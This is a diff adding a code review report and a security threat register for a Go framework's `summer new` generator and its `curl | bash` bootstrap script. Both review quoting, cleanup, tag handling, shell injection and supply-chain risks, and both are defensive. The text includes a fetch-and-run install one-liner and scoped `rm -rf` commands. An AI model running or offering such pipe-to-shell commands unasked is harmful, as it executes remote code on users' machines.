+  - ../sm-summercmsio-app/plugins/golem15/summercms/routes_test.go
+  - ../sm-summercmsio-app/terminal_check_test.go
+  - ../sm-summercmsio-app/vue-summercmsio-app/app/data/terminal.json
+  - ../sm-summercmsio-app/vue-summercmsio-app/tests/terminal.test.ts
+  - internal/build/testdata (goldens, read for cross-checking only)
+findings:
+  critical: 1
+  warning: 8
+  info: 10
+  total: 19
+status: issues_found
+---
+
+# Phase 14.3: Code Review Report
+
+**Reviewed:** 2026-10-08T10:41:00Z
+**Depth:** standard
+**Files Reviewed:** 35
+**Status:** issues_found
+
+## Summary
+
+I reviewed the `summer new` generator (`internal/build/new.go`, the `new/*` stubs and the starter-route `plugin.tmpl` branch), the `new` CLI command, `lagoon.GenerateAppKey`, the `sunrise` bootstrap script and its embedding, the site's `GET /new` handler, the landing-page terminal check and the phase gate script.
+
+The core guards hold up. The target check uses `Lstat`, so it covers a directory, a file, a symlink and a dangling symlink. `os.Mkdir` closes the TOCTOU window. `.env` is created 0600 before the chmod, so it is never briefly readable by others. `.gitignore` keeps `.env` out of the first commit. The fallback git identity is passed with `-c` and never written to the repository config. The bootstrap script is truncation-safe: only `main "$@"` runs at top level, and the test checks every line-boundary prefix of the script plus every byte prefix of its last line. Every child process gets `</dev/null`. Moved upstream tags and non-fast-forward moves are refused. The `GET /new` handler sets `text/plain; charset=utf-8`, `nosniff`, `no-cache` and a strong ETag, and `http.ServeContent` answers 304 correctly.
+
+The defects found:
+
+- **Unquoted framework replace path (blocker).** A framework path containing whitespace produces a `go.mod` that Go cannot parse. With `--no-plugin`, `summer new` still reports success. I reproduced this.
+- **Cleanup only on returned errors.** The cleanup promise covers returned errors but not Ctrl+C. The bootstrap script also leaves its own fresh clone in a state that a re-run refuses.
+- **Script and generator disagree on names.** The script's name check is weaker than `ValidateAppName`, so a keyword name clones and installs before it fails. The docs say this cannot happen.
+- **Binary-source fallback.** This fallback can point an app's `replace` into GOMODCACHE.
+- **Shared fixed port.** Every generated app publishes PostgreSQL on the same fixed host port.
+- **No checksum file in some apps.** `go.work` is committed but `go.work.sum` is ignored, so a `--no-plugin` app commits no checksums at all.
+- **Test and gate reliability.** `TestTerminalCommands` passes `SUMMERCMS_DIR` from the developer's environment through to the script. The `--generator` gate stage stops `summer serve` without stopping the app binary it started.
+
+## Critical Issues
+
+### CR-01: A framework path containing whitespace writes an unparseable `go.mod`, and `--no-plugin` reports success
+
+**File:** `internal/build/stubs/new.tmpl:9`, `internal/build/new.go:324`, also `internal/build/scaffold.go:280-296` (`frameworkReplaceFor`)
+**Issue:** `relModulePath` returns the raw relative path, and the template writes it into `go.mod` without quotes: `replace {{.Framework}} => {{.Replace}}`. In `go.mod` syntax, a path containing whitespace must be a quoted string. I reproduced this with `summer new demo --framework "my fw" --no-git --no-plugin`. The command printed `created …` and the next steps, but `go.mod` contained `replace git.golem15.com/golem15/summercms => ../my fw`. `summer build` then failed with `go.mod:9: malformed module path "../my": invalid path element ".."`.
+
+With the starter plugin, the same unquoted path goes into `plugins/<name>/go.mod` through `frameworkReplaceFor`. `go mod tidy` then fails, and the user gets a removed directory and a confusing parse error. The bootstrap script hits the same failure for any `SUMMERCMS_DIR` whose last path segment contains a space, because it passes `--framework "$dir"`. This happens after the clone and `go install` have finished. The generator promises a "ready-to-run application", and this output breaks that promise without any error.
+
+**Fix:** Quote the path whenever it needs quoting, in both templates, or refuse such paths before `os.Mkdir`:
+
+```go
+// modFilePath renders a local path as a go.mod/go.work token.
+func modFilePath(p string) string {
+	if strings.ContainsAny(p, " \t\"'`\\") {
+		return strconv.Quote(p)
+	}
+	return p
+}
+// planNewApp: Replace: modFilePath(replace)
+// frameworkReplaceFor: return modFilePath(filepath.ToSlash(rel)), nil
+```
+
+Alternatively, write the replace with `go mod edit -replace=` (Go quotes it), as `editAppModule` already does. Add a `TestNew*` case with a framework directory named `"my fw"` that builds the result.
+
+## Warnings
+
+### WR-01: Ctrl+C during `summer new` leaves a partial `sm-<name>-app`, and every re-run is then refused
+
+**File:** `cmd/summer/main.go:15-26`, `internal/build/new.go:161-171`
+**Issue:** `NewApp` removes the target only when `populateApp` returns an error. `summer`'s `main` installs no signal handling, and neither does `bonfire.NewRoot`/`Execute`, which pass `cmd.Context()` with no cancellation. SIGINT or SIGTERM therefore kills the process immediately. This most likely happens during the starter plugin's `go mod tidy`, which can download modules for a minute or more. A half-written `sm-<name>-app` (no `main.go`, `plugins.gen.go` or plugin `go.sum`) stays behind. Both `summer new` and the bootstrap script (`new.sh:230`) then refuse the name with "already exists". `docs/console/scaffolding.md` says: "When a step fails after it created the directory, it removes the directory again, so you can rerun the same command." That is not true for an interrupt.
+**Fix:** Cancel the context on a signal, so `exec.CommandContext` kills `go`, `populateApp` returns an error, and the existing `RemoveAll` runs:
+
+```go
+func main() {
+	ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM)
+	defer stop()
+	root, err := bonfire.NewRoot("summer", toolCommands(), os.Stdout)
+	...
+	if err := root.ExecuteContext(ctx); err != nil { ... }
+}
+```
+
+This requires bonfire to expose `ExecuteContext`, or `NewRoot` to accept a context. Alternatively, handle it locally in `newCommand`.
+
+### WR-02: The bootstrap script accepts Go keywords, `main` and `internal`, then clones and installs before `summer new` refuses them
+
+**File:** `modules/sunrise/new.sh:215`
+**Issue:** The script only checks `^[a-z][a-z0-9]*$`. `ValidateAppName` also refuses the 25 Go keywords, `main` and `internal`. Running `curl … | bash -s -- go` (or `type`, `map` or `main`) clones the framework, runs `go install`, and only then fails inside `summer new`. `docs/setup/installation.md` says: "The script stops before cloning when the name is invalid". For these names it does not.
+**Fix:** Mirror the full rule before any side effect:
+
+```bash
+case "$name" in
+break|case|chan|const|continue|default|defer|else|fallthrough|for|func|go|goto|if|import|interface|map|package|range|return|select|struct|switch|type|var|main|internal)
+	printf 'error: application name %q is a Go keyword or reserved (main, internal)\n\n' "$name" >&2
+	usage >&2; exit 2 ;;
+esac
+```
+
+Add a `TestScriptBehavior` case asserting no clone for `go` and `main`.
+
+### WR-03: An invalid `SUMMERCMS_REF` on a fresh clone leaves a branch checkout that the next run refuses
+
+**File:** `modules/sunrise/new.sh:163-169`, `:119`
+**Issue:** In the fresh-clone branch, `git clone` runs first, and `target_commit` only checks `SUMMERCMS_REF` afterwards. A typo such as `SUMMERCMS_REF=v0.1.99`, or the dash-prefixed value that the test itself uses, ends with "remove $dir and run again". `./summercms` is left on the clone's default branch. On the next run, `check_checkout` refuses with "is on branch main", so the user must delete the directory by hand. The script created that directory in this run, so it can safely remove it. The test "SUMMERCMS_REF starting with a dash is refused" never checks what is left on disk.
+**Fix:** Run the cheap format check (`[[ $ref != -* ]]`) in `main` before `checkout_framework`. In the clone branch, remove the directory on failure, because it did not exist before this run:
+
+```bash
+target="$(target_commit "$dir" "$ref")" || { rm -rf -- "$dir"; die "no usable target in the new clone; removed $dir"; }
+```
+
+### WR-04: The binary-source fallback can resolve into the Go module cache
+
+**File:** `internal/build/new.go:286-297`
+**Issue:** `binarySourceFramework` accepts any absolute `runtime.Caller` path whose root `go.mod` declares the framework. A binary installed with `go install git.golem15.com/golem15/summercms/cmd/summer@vX` records its source under `$GOMODCACHE/git.golem15.com/golem15/summercms@vX/…`, because `go install pkg@version` does not imply `-trimpath`. In that case `summer new` (with no sibling and no flag) commits a `replace => ../../…/go/pkg/mod/git.golem15.com/golem15/summercms@vX`. That points into a read-only cache, is machine-specific, and breaks after `go clean -modcache`. It also contradicts the generated CLAUDE.md, which calls it "the local checkout".
+**Fix:** Accept only development builds:
+
+```go
+if bi, ok := debug.ReadBuildInfo(); ok && bi.Main.Version != "(devel)" && bi.Main.Version != "" {
+	return "" // installed from a module version, not a checkout
+}
+```
+
+Or reject roots containing `/pkg/mod/` together with an `@v` path element.
+
+### WR-05: Every generated application publishes PostgreSQL on the same fixed host port 54320
+
+**File:** `internal/build/stubs/new.tmpl:67`, `internal/build/new.go:51`
+**Issue:** Each app's compose project gets its own name and volume, but `127.0.0.1:54320` is hard-coded in both `compose.yaml` and `.env`. The generated CLAUDE.md says the framework checkout "is shared with every other application next to it", and the bootstrap script is meant to be re-run for more apps in the same directory. Once two such apps exist, the second `docker compose up -d --wait` fails with "port is already allocated" while the first app's database is running.
+**Fix:** Make the port overridable in both files from one variable, for example `"127.0.0.1:${SUMMER_DB_PORT:-54320}:5432"` in compose. Either derive a per-app default (for example a stable hash of the name into 54320-54999) or document the collision and the override in the next steps.
+
+### WR-06: `go.work` is committed but `go.work.sum` is ignored, so a `--no-plugin` app commits no module checksums at all
+
+**File:** `internal/build/stubs/new.tmpl:84`
+**Issue:** The app has no root `go.sum` (by design), and its `go.work` is committed. I confirmed that the first `summer build` writes every framework dependency checksum to `go.work.sum`. That file is gitignored. For a `--no-plugin` app, the repository therefore pins no checksums at all. On a fresh clone, integrity for third-party modules depends entirely on GOSUMDB being reachable and enabled, which `GONOSUMDB`, `GOPRIVATE=*`, `GOFLAGS=-insecure` or offline proxies all defeat. Go's guidance is to commit `go.work.sum` whenever `go.work` is committed.
+**Fix:** Drop `go.work.sum` from the generated `.gitignore`, and update the scaffolding and go-modules docs and the `dot-gitignore` golden. If it stays ignored by design, record the decision and the accepted risk in the threat register.
+
+### WR-07: `TestTerminalCommands` passes the developer's `SUMMERCMS_DIR` through to the script
+
+**File:** `../sm-summercmsio-app/terminal_check_test.go:68-88` (line 74)
+**Issue:** `terminalEnv` drops `SUMMER_*`, `GOWORK` and `GOBIN`, but `SUMMERCMS_DIR` starts with `SUMMERC`, not `SUMMER_`, so it is kept. If a developer has `SUMMERCMS_DIR` exported, the gated test (and the `--terminal` gate stage) runs the script against that directory instead of the temp work dir:
+
+- It fetches and may move that checkout forward.
+- It creates `sm-demo-app` next to it, outside `t.TempDir()`.
+- The `cd sm-demo-app` step then fails.
+- Cleanup's `docker compose down -v` looks in the wrong directory.
+
+`TestBootstrapEndToEnd` (`modules/sunrise/sunrise_test.go:161`) correctly strips every `SUMMERCMS_*` variable and `GOFLAGS`.
+**Fix:** Drop `SUMMERCMS_DIR` explicitly (REPO and REF are meant to pass through) and also drop `GOFLAGS`:
+
+```go
+case strings.HasPrefix(name, "SUMMER_"), name == "SUMMERCMS_DIR", name == "GOWORK", name == "GOBIN", name == "GOFLAGS":
+	continue
+```
+
+Extend `TestTerminalEnv` to cover these variables.
+
+### WR-08: The `--generator` gate stage stops `summer serve` but not the app binary it started
+
+**File:** `scripts/check-phase14.3.sh:154-156`, `:225-226`
+**Issue:** `summer serve` is a delegate. `cmd/summer/runtime.go:117-123` runs `bin/<app> serve` as a child through `exec.CommandContext`, and `summer` installs no signal handler. `kill "$server_pid"` sends SIGTERM to `summer` only, so the app binary is orphaned and can keep holding `:8080`. It dies only when it next writes to its broken stdout or stderr pipe. If it survives, the next `--all` stage that checks ports (`--terminal`, `port_free 8080`) fails, or a stale server answers. The site's `terminalServeBlock` uses `pkill -TERM -P "$serve_pid"` for exactly this reason (`terminal_check_test.go:101`).
+**Fix:** Stop the children first, as the site test does:
+
+```bash
+pkill -TERM -P "$server_pid" 2>/dev/null || true
+kill "$server_pid" 2>/dev/null || true
+wait "$server_pid" 2>/dev/null || true
+```
+
+A better fix is to forward signals in `runAppBinary` (see WR-01).
+
+## Info
+
+### IN-01: The security-gate pin check accepts any cell containing the word "gate", and only an exact "open" status fails
+
+**File:** `scripts/check-phase14.3.sh:524-531`
+**Issue:** `re.search(r"Test[A-Z]\w+|--(…)\b|gate", pinned)` treats any substring "gate" as a pin. That includes "no gate yet" and "delegate". `status == "open"` lets "Open (deferred)" or "open: tracked" pass for non-high rows. Every current row is pinned properly, so this only weakens the fail-closed claim.
+**Fix:** Match `\bgate\b` against `--all`, or drop that alternative. Use `status.startswith("open")`.
+
+### IN-02: The git identity fallback treats name and email independently of the author/committer split and ignores `EMAIL`
+
+**File:** `internal/build/new.go:216-223`, `:236-244`
+**Issue:** If only `GIT_AUTHOR_EMAIL` is set and there is no config, no fallback is added. The committer email then falls back to auto-detection, which fails in containers with a bare hostname, so the commit becomes a warning. Conversely, `-c user.email=summer@localhost` overrides a user's `EMAIL` environment variable, which git would otherwise use.
+**Fix:** Treat each of author and committer separately, or check `git var GIT_COMMITTER_IDENT` / `GIT_AUTHOR_IDENT` and fall back only when one of them fails.
+
+### IN-03: The framework-containment guard is purely lexical
+
+**File:** `internal/build/new.go:153`
+**Issue:** `underRoot(framework, target)` compares lexical paths. A parent reached through a symlink into the framework checkout, or a `--framework` symlink pointing at an ancestor, passes the guard.
+**Fix:** Also compare `filepath.EvalSymlinks` of both paths, keeping the lexical paths for the `replace`.
+
+### IN-04: `SUMMERCMS_REF` silently accepts branch names, which never move forward on a re-run
+
+**File:** `modules/sunrise/new.sh:118-127`
+**Issue:** `rev-parse --verify "${ref}^{commit}"` resolves `main` to the local `refs/heads/main` created by the clone. `fetch` updates only `origin/main`, so a re-run reports "already at the target" on a stale commit. The usage text says "tag or commit", but nothing enforces it.
+**Fix:** Try `refs/tags/$ref` first and then a full commit hash. Refuse anything that resolves under `refs/heads/` or `refs/remotes/`.
+
+### IN-05: The existing-checkout path fetches from `origin` and ignores `SUMMERCMS_REPO` without saying so
+
+**File:** `modules/sunrise/new.sh:175`
+**Issue:** A checkout whose `origin` is a fork or a stale mirror is moved to that remote's newest tag. `SUMMERCMS_REPO` is not compared and no message is printed. A missing `origin` remote produces the misleading message "a release tag may have moved upstream".
+**Fix:** Print `git remote get-url origin` in the "updating" line, and warn when it differs from `$repo`.
+
+### IN-06: The site plugin requires framework v0.1.12, which has no `modules/sunrise`
+
+**File:** `../sm-summercmsio-app/plugins/golem15/summercms/go.mod:5`, `plugin.go:62`
+**Issue:** `modules/sunrise` exists only in the untagged working tree. Until v0.1.13 is tagged and the require is bumped (D-28, documented in 14.3-04-SUMMARY), every site build resolves the framework only through the local `replace ../summercms.go`. The bytes served at `/new` are whatever that working tree holds at build time.
+**Fix:** Follow the documented release steps. Consider a site test that fails when `go list -m git.golem15.com/golem15/summercms` resolves to a replace while building for deploy.
+
+### IN-07: `validCommandName` now also admits `new` for application binaries
+
+**File:** `modules/bonfire/command.go:112`
+**Issue:** The whitelist is shared by the `summer` tool and every app binary, so a plugin can now register a bare `new` command in an application. This is harmless today but broadens the bare-name surface.
+**Fix:** Keep the tool-only bare names in the tool's root, or document that `new` is reserved.
+
+### IN-08: The printed `cd` and next-step lines are not shell-quoted
+
+**File:** `modules/sunrise/new.sh:248`, `internal/build/stubs/new.tmpl:134-146`
+**Issue:** `printf '  cd %s\n' "$app"` prints a path that, if it contains spaces, breaks when copied and pasted.
+**Fix:** Use `printf '  cd %q\n' "$app"`.
+
+### IN-09: The app name has no length limit, but PostgreSQL truncates database names at 63 bytes
+
+**File:** `internal/build/new.go:22`, `internal/build/stubs/new.tmpl:65`
+**Issue:** `POSTGRES_DB` is truncated by the server while the `.env` DSN keeps the full name, so `summer migrate` fails with "database does not exist".
+**Fix:** Cap names at, for example, 40 characters in `appNameRe`/`ValidateAppName` and in `new.sh`.
+
+### IN-10: `TestNewGitUsesConfiguredIdentity` never exercises a configured `user.name`/`user.email`
+
+**File:** `internal/build/new_test.go:573-591`
+**Issue:** The test sets only `GIT_*` environment variables. The `git config <key>` branch of `gitIdentityMissing` that returns "configured" is never covered. Several generator tests (`TestNewCommandViaCLI`, `TestNewEnvFileMode`, `TestNewAgentsSymlink`, `TestNewGitMissingIsWarning`) also run the starter plugin's `go mod tidy` without a `testing.Short()` guard.
+**Fix:** Add a case that writes `user.name`/`user.email` to the isolated `GIT_CONFIG_GLOBAL` file. Gate the network-touching tests behind `-short` like `TestNewAppSmoke`, or use `NoPlugin` where the plugin is irrelevant.
+
+---
+
+_Reviewed: 2026-10-08T10:41:00Z_
+_Reviewer: Claude (gsd-code-reviewer)_
+_Depth: standard_

.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-SECURITY-REVIEW.md

@@ -0,0 +1,108 @@
+---
+phase: 14.3
+slug: one-command-app-scaffolding
+status: reviewed
+threats_total: 27
+threats_closed: 27
+threats_open: 0
+accepted_risks: 4
+asvs_level: 1
+created: 2026-10-08
+reviewer: gsd-executor (14.3-02 Task 3 and 14.3-04 Task 3, self-performed; see Reviewer Note)
+updated: 2026-10-08
+---
+
+# Phase 14.3 — Security Review (plans 01 to 04)
+
+> `summer new` (generator), the `curl | bash` bootstrap script in
+> `modules/sunrise`, the site route `GET /new` and the D-20 acceptance harness.
+> Every threat registered in 14.3-01-PLAN.md (T-14.3-01..10, SC) and
+> 14.3-02-PLAN.md (T-14.3-11..19, SC), 14.3-03-PLAN.md (T-14.3-20..22) and
+> 14.3-04-PLAN.md (T-14.3-23..26) is mapped below to its source-level control
+> and evidence. The "Pinned by (plan 04)" column names the executed test or
+> gate stage of `scripts/check-phase14.3.sh` that fails when the control
+> breaks; `--security` checks this table.
+
+**Date:** 2026-10-08
+**Scope:** `git diff v0.1.12..HEAD -- internal/build cmd/summer modules/lagoon modules/sunrise scripts/check-phase14.3.sh` in `summercms.go` (15 files, +1520/-15), and the site plugin commit `2157bb9` (`script.go`, `plugin.go`, `routes_test.go`, `README.md`) in `sm-summercmsio-plugin`. Read alongside `../sm-summercmsio-app/deploy/nginx/summercms.io.conf`.
+**Level:** ASVS L1. A high finding blocks the phase.
+
+## Reviewer Note
+
+The plan names a security-review lane; this session had no separate auditor agent, so the plan 02 executor performed the review directly against the diff. Evidence was re-executed during the review, not inherited: the Task 1 verify chain (smoke, truncation, docs tree, plugin route and the gated `TestBootstrapEndToEnd`), the plan 02 `--acceptance` container run, and a throwaway-repository probe of every refusal path of `new.sh` (results in "Refusal probe" below).
+
+## Method
+
+1. Read every changed line in the scope above, with attention to: input validation of `<name>` in the script and in `build.ValidateAppName`; quoting of every expansion in `new.sh` (`shellcheck` clean except one deliberate SC2016 for the literal `$PATH` in the hint); behaviour under `curl | bash` (stdin, truncation, `curl -f` on HTTP errors); tag and ancestry handling; refusal paths that protect local work; write locations; `.env` handling and the first commit; compose port binding; MIME type and `nosniff` on `/new`; nginx passthrough; the acceptance harness's use of the host Docker socket.
+2. Mapped each registered threat to a control (file and function) and to evidence.
+3. Probed the script's refusal paths against a fake framework repository (module `git.golem15.com/golem15/summercms`, tags `v0.0.1`, `v0.0.2`).
+
+## Verdict
+
+27 threats in scope (T-14.3-01..26 and T-14.3-SC): 23 mitigated, 4 accepted (all low), **0 open**. No high finding; no code fix was needed. Every high row is pinned by a named test or gate stage (plan 04), and `bash scripts/check-phase14.3.sh --all` passed with these pins on 2026-10-08.
+
+## ASVS L1
+
+| ASVS | Applies | Control | Evidence |
+|------|---------|---------|----------|
+| V5 Input Validation | yes | `new.sh` `main`: `^[a-z][a-z0-9]*$` before any path use; `internal/build/new.go` `ValidateAppName`: same regex plus `token.IsKeyword`, `main`, `internal`; `--framework` and siblings accepted only when `go.mod` declares the framework module (`checkFramework`); `SUMMERCMS_REF` starting with `-` rejected (`target_commit`) | `TestNewAppSmoke`; refusal probe (bad name exit 2); plan 01 Task 2 rules check |
+| V6 Cryptography | yes | `modules/lagoon/keygen.go` `GenerateAppKey` on `crypto/rand`, 32 bytes; `NewApp` `validateAppKey` rejects anything else | `TestGenerateAppKey`, `TestEncryptedKeyGeneratePrints32ByteBase64`, `TestNewRequiresValidAppKey` |
+| V10 Malicious Code | yes | Script embedded from the framework release (`sunrise.Script`); `curl -fsSL`; HTTPS default clone URL; release tags only; tags fetched without `--force`; ancestry check; no `eval`, no `sudo`, no dynamic code strings | `TestScriptTruncationRunsNothing`, `TestBootstrapEndToEnd`, refusal probe, `--acceptance` |
+| V12 Files and Resources | yes | Script writes only `SUMMERCMS_DIR` (clone), `sm-<name>-app` (via `summer new`) and the Go install directory; parent must already exist; `NewApp` refuses an existing target (`os.Lstat`), creates with `os.Mkdir`, removes only what it created; `.env` 0600 | `TestScriptTruncationRunsNothing` (empty work dir), `--generator`, refusal probe |
+| V14 Configuration | yes | Secrets only in `.env` (gitignored before `git add -A`); `.env.example` without a key; compose publishes `127.0.0.1:54320`; `/new` served `text/plain; charset=utf-8` with `X-Content-Type-Options: nosniff` | `--generator` (`git ls-files .env` empty, mode 600), `TestNewScriptRoute` |
+
+## Threat Register
+
+| Threat ID | Category | Component | Severity | Disposition | Control (file / function) | Evidence now | Status | Pinned by (plan 04) |
+|-----------|----------|-----------|----------|-------------|---------------------------|--------------|--------|---------------------|
+| T-14.3-01 | Tampering | app name, target path | high | mitigate | `internal/build/new.go` `ValidateAppName` before `filepath.Join(parent, appDirName(name))`; target is always `<parent>/sm-<name>-app` | `TestNewAppSmoke`; plan 01 rules check (RULES-OK) | mitigated | TestNewValidateAppName, TestNewCommandViaCLI, TestScriptBehavior (name cases) |
+| T-14.3-02 | Information Disclosure | `.env`, first git commit | high | mitigate | `internal/build/new.go` `planNewApp` (`.env` mode 0600, `.gitignore` written with the files) and `initGit` (`git add -A` after `.gitignore` exists) | `scripts/check-phase14.3.sh --generator` asserts `git ls-files .env` empty and mode 600; acceptance run committed the app the same way | mitigated | TestNewEnvFileMode, TestNewGitFirstCommit (.env untracked), TestNewGolden (dot-gitignore) |
+| T-14.3-03 | Information Disclosure | app key generation | high | mitigate | `modules/lagoon/keygen.go` `GenerateAppKey` (`crypto/rand`); `internal/build/new.go` `validateAppKey` | `TestGenerateAppKey` (formerly `TestGenerateAppKeyIs32ByteBase64`); `--generator` (44-character key) | mitigated | TestGenerateAppKey, TestNewRequiresValidAppKey |
+| T-14.3-04 | Tampering | existing directory, cleanup | high | mitigate | `internal/build/new.go` `NewApp`: `os.Lstat` refusal, `os.Mkdir` (not `MkdirAll`), `os.RemoveAll` only of the directory this run created; `new.sh` `main` also stops early when `sm-<name>-app` exists (`-e` or `-L`) | refusal probe: existing `sm-demo-app` stops the script before any clone, exit 1 | mitigated | TestNewRefusesExistingTarget, TestNewCleansUpOnFailure, TestNewRefusesTargetInsideFramework, TestScriptBehavior (existing app) |
+| T-14.3-05 | Information Disclosure | compose.yaml Postgres port | medium | mitigate | `internal/build/stubs/new.tmpl` compose: `127.0.0.1:54320:5432`, named volume only | `--generator` and `--acceptance` ran the compose file; template grep | mitigated | TestNewGolden (compose.yaml) |
+| T-14.3-06 | Spoofing | framework auto-detection | medium | mitigate | `internal/build/new.go` `resolveFramework` / `checkFramework`: module path must be `git.golem15.com/golem15/summercms`; an explicit `--framework` never falls through; the script always passes `--framework` | `TestNewAppSmoke`; `--generator` (sibling detection) | mitigated | TestNewFrameworkResolution, TestScriptBehavior (fresh clone passes --framework) |
+| T-14.3-07 | Information Disclosure | committed go.mod / go.work | low | mitigate | `internal/build/scaffold.go` `relModulePath`, relative `runGoWorkUse` | `--generator` (no absolute `use` line); `TestBootstrapEndToEnd` (relative `../summercms` replace) | mitigated | TestNewGolden (go.mod, go.work), TestMakeAndAddPluginOnHelloCopy, --forbidden |
+| T-14.3-08 | Information Disclosure | compose.yaml dev credentials | low | accept | `summer`/`summer` is a documented local default for a loopback-only database; the encryption key stays in `.env` | template review | accepted | TestNewGolden (compose.yaml) |
+| T-14.3-09 | Information Disclosure | `summer serve` default `:8080` | low | accept | Existing surf default listens on all interfaces; next steps point at `127.0.0.1`; out of scope for this phase | review | accepted | — |
+| T-14.3-10 | Repudiation | fallback git identity | low | accept | `internal/build/new.go` `initGit` / `gitIdentityMissing`: fallback only for the missing keys, first commit only, announced with a warning | `--generator` and `--acceptance` printed the warning | accepted | TestNewGitFirstCommit, TestNewGitUsesConfiguredIdentity |
+| T-14.3-11 | Tampering | truncated download | high | mitigate | `modules/sunrise/new.sh`: top level holds only comments and function definitions; the last line is `main "$@"`; `main` parses arguments before any external command | `TestScriptTruncationRunsNothing` (every line-boundary prefix and every byte prefix of the final line, with stub `git`, `go`, `docker`, `curl`, `summer`; positive control proves the stubs record calls); `TestScriptShape` | mitigated | TestScriptTruncationRunsNothing, TestScriptShape |
+| T-14.3-12 | Tampering | error body piped to bash | medium | mitigate | Documented one-liner uses `curl -fsSL` (no body on HTTP errors); `GET /new` answers only the embedded bytes (`script.go` `scriptHandler`); a cut-off body is covered by T-14.3-11 | `TestNewScriptRoute`; `TestBootstrapEndToEnd` runs the exact `curl -fsSL … \| bash -s -- demo` form | mitigated | TestNewScriptRoute, TestBootstrapEndToEnd (--bootstrap) |
+| T-14.3-13 | Spoofing | `/new` rendered as HTML | medium | mitigate | `sm-summercmsio-plugin` `script.go` `scriptHandler`: `Content-Type: text/plain; charset=utf-8`, `X-Content-Type-Options: nosniff` via `setCommonHeaders`; no request data reflected; nginx allows GET/HEAD only (`limit_except GET HEAD`) and gzips `text/plain` | `TestNewScriptRoute` (headers, strong ETag, 304), `TestRoutesAssemble` (`POST /new` 405) | mitigated | TestNewScriptRoute |
+| T-14.3-14 | Tampering | moved upstream tag, non-fast-forward | high | mitigate | `new.sh` `checkout_framework`: `git fetch --quiet --tags origin` without `--force` (git refuses to clobber a local tag and the script stops); checkout only when `git merge-base --is-ancestor HEAD <target>`; otherwise exit 1 with the checkout unchanged | refusal probe: moved `v0.0.2` upstream → fetch refused, local tag kept at its original commit, HEAD unchanged; non-ancestor HEAD → "not a fast-forward", exit 1, HEAD unchanged | mitigated | TestScriptBehavior (moved upstream tag, non-fast-forward, re-run cases) |
+| T-14.3-15 | Tampering | user's existing checkout | high | mitigate | `new.sh` `check_checkout`: refuses a non-directory, a missing or foreign `go.mod` module, a non-git directory or a subdirectory of another repository, tracked changes (`git status --porcelain --untracked-files=no`), a branch (`git symbolic-ref -q HEAD`); the script contains no reset, clean, stash, `--force` or delete | refusal probe: branch checkout, dirty tracked file and non-framework directory each refused with exit 1 and left untouched | mitigated | TestScriptBehavior (tracked change, branch, another module, not a git repository) |
+| T-14.3-16 | Elevation of Privilege | shell injection via name or overrides | high | mitigate | `new.sh` `main`: name regex before use; every expansion quoted (`shellcheck` clean); overrides used only as arguments (`git clone -- "$repo" "$dir"`, `-C "$dir"`); `SUMMERCMS_REF` rejected when it starts with `-`; no `eval`, `sudo` or dynamic code strings; `summer new` re-validates the name (`ValidateAppName`) | `grep -Ecw 'sudo\|eval'` = 0; `shellcheck`; refusal probe (bad name exit 2) | mitigated | TestScriptShellcheck, TestScriptBehavior (metacharacter name, dash SUMMERCMS_REF) |
+| T-14.3-17 | Denial of Service | credential prompt hang with piped stdin | medium | mitigate | `new.sh` `main` exports `GIT_TERMINAL_PROMPT=0`; every `git`, `go`, `docker` and `summer` child runs with `</dev/null`; `main "$@"` is the last line so nothing follows in the pipe | `TestBootstrapEndToEnd` and `--acceptance` ran the script from a pipe | mitigated | TestScriptBehavior (fresh clone: summer stdin not read although data is piped) |
+| T-14.3-18 | Tampering | supply chain of the served script | high | mitigate | `modules/sunrise/sunrise.go` `Script` embeds `new.sh` from the framework release the site binary is built against (the site's release build requires that tag); default clone URL is HTTPS; only `vX.Y.Z` tags are selected (`latest_tag`); the acceptance harness verifies the Go tarball against the sha256 published by go.dev | `TestScriptEmbedded`; `--acceptance` printed `go1.27.0.linux-amd64.tar.gz: OK` | mitigated | TestScriptEmbedded, TestScriptBehavior (pre-release ignored, numeric tag order) |
+| T-14.3-19 | Elevation of Privilege | acceptance harness on host Docker socket | medium | mitigate | `scripts/check-phase14.3.sh` `stage_acceptance`: local harness only (never CI or the site); framework mounted read-only (`/fw:ro`); compose uses a named volume only; unique `COMPOSE_PROJECT_NAME`; inner trap `docker compose down -v`; host-side `acc_cleanup` removes the runner and every container, volume and network labelled with the project | after the run, no `phase143acc-*` container or volume remained | mitigated | --acceptance (stage of --all) |
+| T-14.3-20 | Tampering | one-liner shown on the page and in docs | medium | mitigate | HTTPS URL with `curl -fsSL`, taken verbatim from `vue-summercmsio-app/app/data/terminal.json`; docs fence in `docs/setup/installation.md` | plan 03 Task 1 and 3 verify chains | mitigated | TestTerminalScript, terminal.test.ts (pnpm test), TestTerminalCommands (--terminal) |
+| T-14.3-21 | Denial of Service | gated terminal check leftovers | low | mitigate | `sm-summercmsio-app/terminal_check_test.go`: unique `COMPOSE_PROJECT_NAME`, `t.Cleanup` with `docker compose down -v`, bounded serve poll that stops the app binary and summer | plan 03 gated run left no container, volume or listener | mitigated | TestTerminalRunScript, TestTerminalCommands (--terminal) |
+| T-14.3-22 | Information Disclosure | docs naming a consuming application | low | mitigate | `summer docs:build --check` forbidden-name rule; plan 03 grep on the edited pages | `docs:build --check` green | mitigated | --unit (docs:build --check), TestDocsTree |
+| T-14.3-23 | Repudiation | phase gate | high | mitigate | `scripts/check-phase14.3.sh` `require_named_pass`: every required test needs a top-level `--- PASS:` line; a skipped required test, `no tests to run` or any failure fails the stage; `--all` runs each stage in its own process and prints `Phase 14.3 gate passed` only at the end | `--all` run 2026-10-08 | mitigated | --unit, --bootstrap, --terminal, --all |
+| T-14.3-24 | Tampering | golden files | medium | mitigate | `internal/build/new_golden_test.go`: goldens are rewritten only with `-update`; `--unit` never passes it and fails when `internal/build/testdata` differs from the index after the run; goldens reviewed and committed with the tests (eed24b8) | one-byte golden edit made `TestNewGolden` fail (checked by hand, restored) | mitigated | TestNewGolden, TestNewGoldenNoPlugin, --unit |
+| T-14.3-25 | Information Disclosure | fixed test key in goldens | low | accept | `goldenAppKey` is base64 of the bytes 0x00..0x1f, a deterministic non-secret test value used only by the golden tests | review | accepted | TestNewGolden |
+| T-14.3-26 | Denial of Service | Docker resources from gate stages | low | mitigate | `--generator`, `--acceptance` and `--terminal` use unique compose project names and EXIT traps with `docker compose down -v`; `acc_cleanup` removes containers, volumes and networks by project label; `--all` runs each stage in its own process so every trap fires before the next stage | no `phase143*` or `summercms-terminal-*` container or volume remained after `--all` | mitigated | --generator, --acceptance, --terminal |
